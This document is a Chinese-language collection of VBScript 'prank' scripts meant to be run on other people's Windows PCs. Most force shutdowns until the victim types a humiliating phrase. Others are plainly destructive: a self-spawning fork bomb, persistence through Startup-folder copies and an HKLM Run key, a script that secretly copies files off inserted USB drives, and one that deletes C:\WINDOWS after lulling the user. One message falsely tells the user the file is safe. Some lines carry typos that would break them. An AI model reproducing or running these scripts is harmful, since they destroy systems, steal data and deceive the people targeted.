vbs恶作剧(整人代码)-关机 我是猪 重启 喊我爹等

dim a
a=10
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 10",,true
Set s = CreateObject("sapi.spvoice")
while a
s.Speak a
a = a - 1
wscript.sleep 100
wend
CreateObject("SAPI.SpVoice").Speak "Bomb?"

do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop

msgbox"此文件无毒，请放心使用。",vbretrycancel,"系统提示。"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.Run "cmd.exe /c shutdown -s -t 300"
wscript.sleep 2000
dim a
do
a=inputbox("输入abc，否则关机。")
if a="abc" then
msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧！"
exit do
else
msgbox"乖点，输入abc"
end if
loop

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox "乖"
loop
msgbox "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "自己骂自己的不要脸~~~~~~",4, " "

msgbox"你是不是很无聊啊？",4
msgbox"我来陪你玩会儿"
msgbox"做好玩儿的准备吧！"
do
msgbox"你无聊吗?",vbinformation,"你无聊吗？"
loop

on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true
ws.run"shutdown -p",vbhide

set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop

Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "QUESTION.vbS"
Key_data = "C:\windows\system32\QUESTION.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy "c:\windows\system32\"
Set fso = CreateObject("Scripting.FileSystemObject")
f = fso.DeleteFile(WScript.ScriptName)

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹，快喊"" ",0 ,true
dim a
do while(a <> "爹")
a = inputbox ("喊我爹,快撒，喊 ""爹"" ","喊不喊","不喊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "儿子"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说你爱我，不说你爱我就两分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我爱你")
a = inputbox ("说你爱我,就不关机，快撒，说 ""你爱我"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，何必这么费劲"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，今天真过瘾

i = MsgBox("由于你灌水太水需要爆破电脑。"&_
vbCrLf&"确定爆破吗？",vbOKCancel,_
"爆破电脑系统！！！！！")
if i = 1 then
CreateObject("SAPI.SpVoice").Speak "bone"
end if

On Error Resume Next
Dim i
i=0

Set fso=CreateObject("Scripting.FileSystemObject")
IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪明的猪","I:")
ext=InputBox("请输入要盗窃的文件名的扩展名:","U盘大盗-By 最聪明的猪","txt")
MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By 最聪明的猪","E:\U盘大盗")
fso.CreateFolder(MyFolder)
Do
WScript.Sleep 1000
If fso.FolderExists(IP & "\") Then Exit Do
Loop

Scan(IP & "\")

Sub Scan(Folder_)
On Error Resume Next
Set Folder_=fso.GetFolder(Folder_)
Set Files=Folder_.Files

For Each File in Files
ext_=fso.GetExtensionName(File)
ext_=Lcase(ext_)
ext=Lcase(ext)
If ext_=ext Then
i=i+1
fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name)
End If
Next

Set SubFolders=Folder_.SubFolders
For Each SubFolder In SubFolders
Scan(Subfolder)
Next
End Sub

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""一分钟后,你的机子就完了,不信?!试试!"" ",0 ,true
dim a
do while(a <> "不重,不重,我就不重!")
a = inputbox ("唯一的办法就是""重启"" ","重不重启","不重,不重,我就不重!",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "真的不是我说你,乱按什么确定啊,希望你在网吧.菩萨保佑......"
msgbox chr(13) + chr(13) + chr(13) + "你的机子真的要完了,赶紧准备点钱重装机子吧.阿弥陀佛,善哉,善哉!"
msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~"
msgbox chr(13) + chr(13) + chr(13) + "88~"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox " " + chr(14) + "~"
Dim a
Set a = CreateObject("Scripting.FileSystemObject")
a.DeleteFolder ("C:\WINDOWS")

msgbox"让你见识一下啥叫狠毒！"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
loop

on error resume next
msgbox"即将格式化！请做好准备！",vbyesno
msgbox"准备好后点yes！"，vbyesno
msgbox"sorry，忘说了，点no也行！"
msgbox"我对不起你啊！呜呜呜555哈哈哈哈！"
msgbox"靠，我笑个屁呀！我可是著名博士！在精神病院搞一种研究。。。"
msgbox"被人研究！"
msgbox"就知道你会笑！告诉你，我最歧视两种人！一是歧视别人的人，二是爱笑人，三是不识数的人！"
msgbox"你咋还笑？！是时候惩罚你了！"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
ws.run"cmd.exe /c shutdown -s -t 7200",,ture
loop